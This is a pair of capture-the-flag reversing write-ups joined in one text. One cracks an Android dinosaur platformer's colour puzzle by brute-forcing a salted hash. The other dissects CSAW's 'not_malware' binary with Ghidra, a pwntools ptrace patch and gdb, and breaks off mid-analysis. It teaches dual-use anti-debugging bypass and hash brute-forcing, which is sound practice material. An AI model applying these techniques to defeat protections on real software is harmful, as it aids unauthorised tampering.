There are, at first glance, 11 interrogative boxes. If the dinosaur touches one of them from the bottom, its color changes. A box can have 4 colors: Green, Red, Yellow or Blue.
It seems that the aim is to find the right combination of colors to spawn the flag.
### Decompiling the APK
In order to decompile the APK, I used *APK Studio*, a software based on several tools that allows to decompile the APK, modify the source code and recompile it.
The main sources of the application are then located on `sources/com/alles/platformer` folder. Especially, the file `MyPlatformer.java` contains the most interesting methods.
#### The `checkFlag()` method
I immediately spotted the `checkFlag` method, whose code is:
```javaprivate void checkFlag() { MessageDigest messageDigest; int intValue; byte[] bArr = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; TiledMapTileLayer tiledMapTileLayer = (TiledMapTileLayer) this.map.getLayers().get("questionmarks"); int i = 0; int i2 = 0; while (i < 100) { int i3 = i2; for (int i4 = 0; i4 < 100; i4++) { TiledMapTileLayer.Cell cell = tiledMapTileLayer.getCell(i, i4); if (!(cell == null || !cell.getTile().getProperties().containsKey("questionmarkType") || (intValue = ((Integer) cell.getTile().getProperties().get("questionmarkType")).intValue()) == 1337)) { bArr[i3] = (byte) intValue; i3++; } } i++; i2 = i3; } try { messageDigest = MessageDigest.getInstance("SHA-256"); } catch (NoSuchAlgorithmException e) { e.printStackTrace(); messageDigest = null; } messageDigest.update(bArr); messageDigest.update("P4ssw0rdS4lt".getBytes()); if (toHex(messageDigest.digest()).equals("024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420")) { try { messageDigest.update(bArr); messageDigest.update("P4ssw0rdS4lt".getBytes()); messageDigest.update(bArr); byte[] digest = messageDigest.digest(); byte[] decode = Base64Coder.decode(Gdx.files.internal("flag_enc").readString()); SecretKeySpec secretKeySpec = new SecretKeySpec(digest, 0, digest.length, "RC4"); Cipher instance = Cipher.getInstance("RC4"); instance.init(2, secretKeySpec, instance.getParameters()); String str = new String(instance.doFinal(decode)); FileHandle local = Gdx.files.local("map_flag.tmx"); local.writeString(str, false); Gdx.files.local("tileSet.png").writeBytes(Base64Coder.decode(/*base64 encoded data */), false); TmxMapLoader tmxMapLoader = new TmxMapLoader(new LocalFileResolver()); tmxMapLoader.getDependencies(BuildConfig.FLAVOR, local, null); AssetManager assetManager = new AssetManager(new LocalFileResolver()); assetManager.load("tileSet.png", Texture.class); assetManager.finishLoading(); tmxMapLoader.loadAsync(assetManager, "map_flag.tmx", local, (TmxMapLoader.Parameters) null); this.map.dispose(); this.map = tmxMapLoader.loadSync((AssetManager) null, (String) null, (FileHandle) null, (TmxMapLoader.Parameters) null); this.renderer = new OrthogonalTiledMapRenderer(this.map, 0.0625f); } catch (Exception e2) { e2.printStackTrace(); } } }```
The method works as following:
1. An array (bArr) of length 11 is initialized.2. The tiles of type "Question Mark" are retrieved.3. Each case of the game's 100x100 grid is checked: 1. If the case is a question mark tile, its `intValue` is put into the array bArr, except if this value is 1337.4. A SHA-256 digest is initialized.5. The digest is updated with the bArr byte array.6. The digest is updated with a salt: "P4ssw0rdS4lt".7. If the digest matches a given hash, then the flag file is decrypted and displayed on the game.
There are now three goals to achieve:
1. Find the values corresponding to the colors.2. Once it is done, find which combination generates the given hash.3. Find how to trigger the `checkFlag` method
#### The color code
Again in the `MyPlatformer.java` file, the int values can be found, in the `updateKoala` method:
```java... if (cell2.getTile().getProperties().containsKey("questionmarkType")) { int intValue = ((Integer) cell2.getTile().getProperties().get("questionmarkType")).intValue(); if (intValue == 1337) { new Array(); checkFlag(); } else { if (intValue == 0) { intValue = 21; } else if (intValue == 21) { intValue = 97; } else if (intValue == 97) { intValue = 37; } else if (intValue == 37) { intValue = 0; } try { new TiledMapTileLayer.Cell(); cell2.setTile(this.map.getTileSets().getTile(this.questionMarkTileMapping.get(Integer.valueOf(intValue)).intValue())); tiledMapTileLayer.setCell((int) next.x, (int) next.y, cell2); } catch (Exception unused) { } } z = true; }...```
I guess this method is called at every new frame and is used to act on the map elements according to the user's position, velocity and environment.
Here, cell2 is probably the cell above the user. This part of the method is about the case in which the cell2 is a question mark tile. If the `intValue` is not 1337, it is changed according to a cycle.
Thus the possible values are 0, 21, 37 and 97.
A grep on these values is useful to find the corresponding sprite IDs of each color. It is linked in the `create` method:
```javapublic void create() { ... this.questionMarkTileMapping = new HashMap<>(); this.questionMarkTileMapping.put(0, 128); this.questionMarkTileMapping.put(21, 160); this.questionMarkTileMapping.put(37, 176); this.questionMarkTileMapping.put(97, 192); this.controller = new Controller(); }
```
By checking in the `assets` folder, the tile set can be found:
It is a 16x16 map containing the textures of each tile type. Taken from the top-left corner to the bottom-right corner, the ID of each tile can be calculated. Thus, the intValue-color association is done:
- Green = G = 0 = 0x00- Red = R = 21 = 0x15- Yellow = Y = 37 = 0x25- Blue = B = 97 = 0x61
#### The color combination
It is then possible to find the right combination by computing the digest for all the 4^11 possible color combinations.
```pythonimport hashlibfrom itertools import productc = [chr(0), chr(21), chr(37), chr(97)]col = "GRYB"mapping = list(product(c, repeat=11)) # Generate all the combinations of 11 characters on the charset cfor t in mapping: word = "".join(t) sha = hashlib.sha256() sha.update(word) sha.update("P4ssw0rdS4lt") if(sha.hexdigest() == "024800ace2ec394e6af68baa46e81dfbea93f0f6730610560c66ee9748d91420"): print word.encode('hex'), ':', "".join([col[c.index(x)] for x in t]) # Print the solution in hex and "color" formats```
The script gives the following solution:
```1500612515252561612515 : RGBYRYYBBYR```
#### The `checkFlag` trigger
As shown in the `updateKoala` method, the `checkFlag` method is triggered when hitting a question mark tile that is different from the green, red, yellow and blue ones. The tile set gives the clue that the question mark tile should be multicolored.
I decided to play a bit more to the game, finding a "secret" platform when I jumped over the wall on the right:
I fell on a hidden platform, with the secret tile at the end:
After having set the right color combination (from left to right), I hit the tile, and then...
The flag is here!
**ALLES{1TS_A_DINO}**
|
# not_malware
## Description
Category: Reversing
Points: 150
```To be perfectly frank, I do some malware-y things, but that doesn't mean that I'm actually malware, I promise!
nc rev.chal.csaw.io 5008```
## Analysis
To start with, it's a 64-bit binary that takes a single input via STDIN:
```kali@kali:~/Downloads/csaw$ file not_malwarenot_malware: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=68fd0eecf167f1c5992efffe7855c67a306aee33, for GNU/Linux 3.2.0, strippedkali@kali:~/Downloads/csaw$ ./not_malwareWhat's your credit card number (for safekeeping) ?>> hellokali@kali:~/Downloads/csaw$ echo $?1```
Decompile it with Ghidra. Here's our entry routine:
```cvoid entry(undefined8 param_1,undefined8 param_2,undefined8 param_3)
{ undefined8 in_stack_00000000; undefined auStack8 [8]; __libc_start_main(FUN_001012bc,in_stack_00000000,&stack0x00000008,&LAB_001018f0,&DAT_00101960, param_3,auStack8); do { /* WARNING: Do nothing block with infinite loop */ } while( true );}```
And that invokes `FUN_001012bc`:
```cundefined8 FUN_001012bc(void)
{ int iVar1; size_t sVar2; undefined8 uVar3; double dVar4; char local_b6 [10]; undefined4 local_ac; char local_a8 [32]; char local_88 [4]; char local_84; char local_83; char local_82; char local_81; char local_80; char local_7f; char local_7e; char local_7d; char local_7c; char local_7b; char local_7a; char local_79; char local_78; char local_77; char local_76; char local_75; char local_68 [8]; char local_60; char local_5f; char local_5e; char local_5d; char local_5c; char acStack91 [20]; char local_47; char acStack70 [30]; char local_28 [8]; int local_20; int local_1c; int local_18; int local_14; uint local_10; int local_c; FUN_001012a6(); printf("What\'s your credit card number (for safekeeping) ?\n>> "); fgets(local_68,0x3c,stdin); sVar2 = strlen(local_68); if (0x3c < sVar2) { puts("Well this was unnecessary."); /* WARNING: Subroutine does not return */ exit(1); } local_18 = 0x10; dVar4 = pow(16.00000000,0.50000000); local_18 = (int)(dVar4 - 1.00000000); local_c = 0; while (local_c < 8) { local_28[local_c] = local_68[local_c]; local_c = local_c + 1; } local_28[local_c] = '\0'; iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(1); } if (local_60 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_10 = (int)local_5f - 0x30; local_1c = (int)local_5e + -0x30; local_20 = (int)local_5d + -0x30; if (local_5c != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_14 = 0; while (local_14 < 0x14) { uVar3 = FUN_00101288((ulong)local_10); snprintf(local_b6,10,"%ld",uVar3); local_88[local_14] = local_b6[local_20]; local_10 = local_10 + local_1c; local_14 = local_14 + 1; } local_c = 0; while (local_c < 0x14) { local_a8[local_c] = local_68[local_c + 0xd]; local_c = local_c + 1; } if (local_a8[0] != local_88[0]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[16] != local_78) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[11] != local_7d) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[3] != local_88[3]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[7] != local_81) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[15] != local_79) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[1] != local_88[1]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[12] != local_7c) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[19] != local_75) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[13] != local_7b) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[14] != local_7a) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[5] != local_83) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[9] != local_7f) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[8] != local_80) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[18] != local_76) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[6] != local_82) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[17] != local_77) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[2] != local_88[2]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[10] != local_7e) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[4] != local_84) { /* WARNING: Subroutine does not return */ exit(1); } if (local_47 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); } local_c = 0; local_ac = 0x646e65; while( true ) { if (2 < local_c) { puts("Thanks!"); FUN_00101229(); return 0; } if (*(char *)((long)&local_ac + (long)local_c) != local_68[local_c + 0x22]) break; local_c = local_c + 1; } /* WARNING: Subroutine does not return */ exit(1);}```
Let's break it down. First we call `FUN_001012a6` and get the input from STDIN:
```c FUN_001012a6(); printf("What\'s your credit card number (for safekeeping) ?\n>> "); fgets(local_68,0x3c,stdin); sVar2 = strlen(local_68); if (0x3c < sVar2) { puts("Well this was unnecessary."); /* WARNING: Subroutine does not return */ exit(1); }```
`FUN_001012a6` is basically an initialization function of sorts:
```cvoid FUN_001012a6(void)
{ FUN_00101782(); FUN_0010186e(); FUN_001018b4(); return;}```
The first one appears to set some variables based on which HV is in use:
```cvoid FUN_00101782(void)
{ int iVar1; long lVar2; byte *pbVar3; byte *pbVar4; bool bVar5; bool bVar6; byte bVar7; byte local_19 [4]; undefined local_15 [4]; undefined local_11 [4]; undefined local_d; undefined4 local_c; bVar7 = 0; local_c = 0; local_d = 0; FUN_0010173a(&local_c,local_19,local_11,local_15); iVar1 = strncmp((char *)local_19,"VMwareVMware",0xc); bVar5 = false; bVar6 = iVar1 == 0; if (!bVar6) { lVar2 = 10; pbVar3 = local_19; pbVar4 = (byte *)"KVMKVMKVM"; do { if (lVar2 == 0) break; lVar2 = lVar2 + -1; bVar5 = *pbVar3 < *pbVar4; bVar6 = *pbVar3 == *pbVar4; pbVar3 = pbVar3 + (ulong)bVar7 * -2 + 1; pbVar4 = pbVar4 + (ulong)bVar7 * -2 + 1; } while (bVar6); if ((!bVar5 && !bVar6) != bVar5) { iVar1 = strncmp((char *)local_19,"TCGTCGTCGTCG",0xc); if (iVar1 != 0) { iVar1 = strncmp((char *)local_19,"Microsoft Hv",0xc); bVar5 = false; bVar6 = iVar1 == 0; if (!bVar6) { lVar2 = 0xc; pbVar3 = local_19; pbVar4 = (byte *)" lrpepyh vr"; do { if (lVar2 == 0) break; lVar2 = lVar2 + -1; bVar5 = *pbVar3 < *pbVar4; bVar6 = *pbVar3 == *pbVar4; pbVar3 = pbVar3 + (ulong)bVar7 * -2 + 1; pbVar4 = pbVar4 + (ulong)bVar7 * -2 + 1; } while (bVar6); if ((!bVar5 && !bVar6) != bVar5) { return; } } } } } /* WARNING: Subroutine does not return */ exit(1);}```
Let's not follow that rabbit hole just yet.
`FUN_0010186e` throws an error if `LD_PRELOAD` or `/etc/ld.so.preload` are used:
```cvoid FUN_0010186e(void)
{ int iVar1; char *pcVar2; pcVar2 = getenv("LD_PRELOAD"); if (pcVar2 != (char *)0x0) { /* WARNING: Subroutine does not return */ exit(1); } iVar1 = open("/etc/ld.so.preload",0); if (0 < iVar1) { /* WARNING: Subroutine does not return */ exit(1); } return;}```
And `FUN_001018b4` calls ptrace to exit if we're trying to debug the binary:
```cvoid FUN_001018b4(void)
{ long lVar1; lVar1 = ptrace(PTRACE_TRACEME,0,1,0); if (lVar1 == -1) { /* WARNING: Subroutine does not return */ exit(1); } return;}```
That `ptrace` call is where it fails if I try to use `strace` for example:
```kali@kali:~/Downloads/csaw$ strace ./not_malwareexecve("./not_malware", ["./not_malware"], 0x7ffc8c717550 /* 44 vars */) = 0brk(NULL) = 0x559d8011a000access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=118167, ...}) = 0mmap(NULL, 118167, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ffa71b72000close(3) = 0openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\362\0\0\0\0\0\0"..., 832) = 832fstat(3, {st_mode=S_IFREG|0644, st_size=1321344, ...}) = 0mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffa71b70000mmap(NULL, 1323280, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffa71a2c000mmap(0x7ffa71a3b000, 630784, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf000) = 0x7ffa71a3b000mmap(0x7ffa71ad5000, 626688, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa9000) = 0x7ffa71ad5000mmap(0x7ffa71b6e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x141000) = 0x7ffa71b6e000close(3) = 0openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0n\2\0\0\0\0\0"..., 832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1839792, ...}) = 0mmap(NULL, 1852680, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ffa71867000mprotect(0x7ffa7188c000, 1662976, PROT_NONE) = 0mmap(0x7ffa7188c000, 1355776, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7ffa7188c000mmap(0x7ffa719d7000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x170000) = 0x7ffa719d7000mmap(0x7ffa71a22000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7ffa71a22000mmap(0x7ffa71a28000, 13576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ffa71a28000close(3) = 0mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ffa71864000arch_prctl(ARCH_SET_FS, 0x7ffa71864740) = 0mprotect(0x7ffa71a22000, 12288, PROT_READ) = 0mprotect(0x7ffa71b6e000, 4096, PROT_READ) = 0mprotect(0x559d7f30c000, 4096, PROT_READ) = 0mprotect(0x7ffa71bb9000, 4096, PROT_READ) = 0munmap(0x7ffa71b72000, 118167) = 0openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)ptrace(PTRACE_TRACEME) = -1 EPERM (Operation not permitted)exit_group(1) = ?+++ exited with 1 +++```
We'll have to patch out that `ptrace` call to do any debugging.
```python#!/bin/env python3from pwn import *binary = ELF('./not_malware')context.update(arch='amd64',os='linux')print(binary.path)
addr1 = 0x18d1print(binary.disasm(addr1, 40))binary.asm(addr1,'''nopnopnopnopnop''')patched = binary.path + '_patched'print(patched)print(binary.disasm(addr1, 40))binary.save(patched)os.system('chmod +x ' + patched)```
```kali@kali:~/Downloads/csaw$ ./patch_malware.py [*] '/home/kali/Downloads/csaw/not_malware' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled/home/kali/Downloads/csaw/not_malware 18d1: e8 0a f8 ff ff call 0x10e0 18d6: 48 83 f8 ff cmp rax, 0xffffffffffffffff 18da: 75 0a jne 0x18e6 18dc: bf 01 00 00 00 mov edi, 0x1 18e1: e8 2a f8 ff ff call 0x1110 18e6: 90 nop 18e7: 5d pop rbp 18e8: c3 ret 18e9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] 18f0: f3 0f 1e fa endbr64 18f4: 41 57 push r15 18f6: 4c rex.WR 18f7: 8d .byte 0x8d 18f8: 3d .byte 0x3d/home/kali/Downloads/csaw/not_malware_patched 18d1: 90 nop 18d2: 90 nop 18d3: 90 nop 18d4: 90 nop 18d5: 90 nop 18d6: 48 83 f8 ff cmp rax, 0xffffffffffffffff 18da: 75 0a jne 0x18e6 18dc: bf 01 00 00 00 mov edi, 0x1 18e1: e8 2a f8 ff ff call 0x1110 18e6: 90 nop 18e7: 5d pop rbp 18e8: c3 ret 18e9: 0f 1f 80 00 00 00 00 nop DWORD PTR [rax+0x0] 18f0: f3 0f 1e fa endbr64 18f4: 41 57 push r15 18f6: 4c rex.WR 18f7: 8d .byte 0x8d 18f8: 3d .byte 0x3d```
That's better, now we can trace it and get to the part where it prompts for user input:
```kali@kali:~/Downloads/csaw$ strace ./not_malware_patched execve("./not_malware_patched", ["./not_malware_patched"], 0x7ffeafd53b20 /* 44 vars */) = 0brk(NULL) = 0x56309109b000access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)openat(AT_FDCWD, "/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3fstat(3, {st_mode=S_IFREG|0644, st_size=118167, ...}) = 0mmap(NULL, 118167, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7ff2a1f79000close(3) = 0openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libm.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\362\0\0\0\0\0\0"..., 832) = 832fstat(3, {st_mode=S_IFREG|0644, st_size=1321344, ...}) = 0mmap(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2a1f77000mmap(NULL, 1323280, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff2a1e33000mmap(0x7ff2a1e42000, 630784, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf000) = 0x7ff2a1e42000mmap(0x7ff2a1edc000, 626688, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xa9000) = 0x7ff2a1edc000mmap(0x7ff2a1f75000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x141000) = 0x7ff2a1f75000close(3) = 0openat(AT_FDCWD, "/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0n\2\0\0\0\0\0"..., 832) = 832fstat(3, {st_mode=S_IFREG|0755, st_size=1839792, ...}) = 0mmap(NULL, 1852680, PROT_READ, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7ff2a1c6e000mprotect(0x7ff2a1c93000, 1662976, PROT_NONE) = 0mmap(0x7ff2a1c93000, 1355776, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x25000) = 0x7ff2a1c93000mmap(0x7ff2a1dde000, 303104, PROT_READ, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x170000) = 0x7ff2a1dde000mmap(0x7ff2a1e29000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1ba000) = 0x7ff2a1e29000mmap(0x7ff2a1e2f000, 13576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7ff2a1e2f000close(3) = 0mmap(NULL, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff2a1c6b000arch_prctl(ARCH_SET_FS, 0x7ff2a1c6b740) = 0mprotect(0x7ff2a1e29000, 12288, PROT_READ) = 0mprotect(0x7ff2a1f75000, 4096, PROT_READ) = 0mprotect(0x563090829000, 4096, PROT_READ) = 0mprotect(0x7ff2a1fc0000, 4096, PROT_READ) = 0munmap(0x7ff2a1f79000, 118167) = 0openat(AT_FDCWD, "/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x5), ...}) = 0brk(NULL) = 0x56309109b000brk(0x5630910bc000) = 0x5630910bc000write(1, "What's your credit card number ("..., 51What's your credit card number (for safekeeping) ?) = 51fstat(0, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x5), ...}) = 0write(1, ">> ", 3>> ) = 3read(0, ```
Back to `FUN_001012bc`, after the init routines and prompt for input:
```c local_18 = 0x10; dVar4 = pow(16.00000000,0.50000000); local_18 = (int)(dVar4 - 1.00000000); local_c = 0; while (local_c < 8) { local_28[local_c] = local_68[local_c]; local_c = local_c + 1; } local_28[local_c] = '\0'; iVar1 = strncmp(local_28,"yeetbank" + (long)local_18 * 9,8); if (iVar1 != 0) { /* WARNING: Subroutine does not return */ exit(1); } if (local_60 != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); }```
That expects a certain 8 char prefix, followed by `:`. Let's set a breakpoint on that `strncmp` and try some bogus input:
``` 001013ca e8 71 fc CALL strncmp int strncmp(char * __s1, char * ff ff```
```gefβ€ rStarting program: /home/kali/Downloads/csaw/not_malware_patchedWhat's your credit card number (for safekeeping) ?>> ^CProgram received signal SIGINT, Interrupt....gefβ€ break *0x555555454000 + 0x001013caBreakpoint 1 at 0x5555555553cagefβ€ cContinuing.hello```
```[ Legend: Modified register | Code | Heap | Stack | String ]βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ registers ββββ$rax : 0x00007fffffffdcd0 β 0x00000a6f6c6c6568 ("hello\n"?)$rbx : 0x0 $rcx : 0x000055555555603b β "softbank"$rdx : 0x8 $rsp : 0x00007fffffffdc40 β 0x0000000000000000$rbp : 0x00007fffffffdcf0 β 0x00005555555558f0 β endbr64 $rsi : 0x000055555555603b β "softbank"$rdi : 0x00007fffffffdcd0 β 0x00000a6f6c6c6568 ("hello\n"?)$rip : 0x00005555555553ca β call 0x555555555040 <strncmp@plt>$r8 : 0x00007ffff7f49b80 β 0x40671547652b82fe$r9 : 0xffffffff00000000$r10 : 0xfffffffffffff51c$r11 : 0x00007ffff7ead020 β <powf64+0> sub rsp, 0x18$r12 : 0x0000555555555130 β endbr64 $r13 : 0x0 $r14 : 0x0 $r15 : 0x0 $eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ stack ββββ0x00007fffffffdc40β+0x0000: 0x0000000000000000 β $rsp0x00007fffffffdc48β+0x0008: 0x00000000000000000x00007fffffffdc50β+0x0010: 0x00000000000000000x00007fffffffdc58β+0x0018: 0x00000000000000000x00007fffffffdc60β+0x0020: 0x00000000000000000x00007fffffffdc68β+0x0028: 0x00000000000000000x00007fffffffdc70β+0x0030: 0x00000000000000000x00007fffffffdc78β+0x0038: 0x0000000000000000βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ code:x86:64 ββββ 0x5555555553bf mov edx, 0x8 0x5555555553c4 mov rsi, rcx 0x5555555553c7 mov rdi, rax β 0x5555555553ca call 0x555555555040 <strncmp@plt> β³ 0x555555555040 <strncmp@plt+0> jmp QWORD PTR [rip+0x2fda] # 0x555555558020 <[emailΒ protected]> 0x555555555046 <strncmp@plt+6> push 0x1 0x55555555504b <strncmp@plt+11> jmp 0x555555555020 0x555555555050 <__isoc99_fscanf@plt+0> jmp QWORD PTR [rip+0x2fd2] # 0x555555558028 <[emailΒ protected]> 0x555555555056 <__isoc99_fscanf@plt+6> push 0x2 0x55555555505b <__isoc99_fscanf@plt+11> jmp 0x555555555020βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ arguments (guessed) ββββstrncmp@plt ( $rdi = 0x00007fffffffdcd0 β 0x00000a6f6c6c6568 ("hello\n"?), $rsi = 0x000055555555603b β "softbank", $rdx = 0x0000000000000008, $rcx = 0x000055555555603b β "softbank")βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ threads ββββ[#0] Id 1, Name: "not_malware_pat", stopped 0x5555555553ca in ?? (), reason: BREAKPOINTβββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ trace ββββ[#0] 0x5555555553ca β call 0x555555555040 <strncmp@plt>[#1] 0x7ffff7ccccca β __libc_start_main(main=0x5555555552bc, argc=0x1, argv=0x7fffffffdde8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffddd8)[#2] 0x55555555515e β hlt ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββgefβ€ ```
Check the arguments to `strncmp` above. We're comparing the first 8 chars to `softbank`, which means the first 9 chars of the input string need to be:
```softbank:```
After that, those first 9 chars, there are 3 more expected followed by another `:` char:
```c local_10 = (int)local_5f - 0x30; local_1c = (int)local_5e + -0x30; local_20 = (int)local_5d + -0x30; if (local_5c != ':') { puts("Get out."); /* WARNING: Subroutine does not return */ exit(1); }```
Subtracting `0x30` from an ASCII character value can be used to convert a digit into its numerical form. `'0'` (the character) has a hex value of `0x30` and `'4'` has a hex value of `0x34` for example. So `'4' - 0x30` will give you `4`.
After that, there are a couple of while loops doing some basic transformations:
```c local_14 = 0; while (local_14 < 0x14) { uVar3 = FUN_00101288((ulong)local_10); snprintf(local_b6,10,"%ld",uVar3); local_88[local_14] = local_b6[local_20]; local_10 = local_10 + local_1c; local_14 = local_14 + 1; } local_c = 0; while (local_c < 0x14) { local_a8[local_c] = local_68[local_c + 0xd]; local_c = local_c + 1; }```
And then we have a long series of char comparisons:
```c if (local_a8[0] != local_88[0]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[16] != local_78) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[11] != local_7d) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[3] != local_88[3]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[7] != local_81) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[15] != local_79) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[1] != local_88[1]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[12] != local_7c) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[19] != local_75) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[13] != local_7b) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[14] != local_7a) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[5] != local_83) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[9] != local_7f) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[8] != local_80) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[18] != local_76) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[6] != local_82) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[17] != local_77) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[2] != local_88[2]) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[10] != local_7e) { /* WARNING: Subroutine does not return */ exit(1); } if (local_a8[4] != local_84) { /* WARNING: Subroutine does not return */ exit(1); }```
Let's set our next breakpoint on the first of those comparisons, immediately after the while loops:
``` if (local_a8[0] != local_88[0]) {```
``` 001014d6 38 c2 CMP DL,AL 001014d8 74 0a JZ LAB_001014e4```
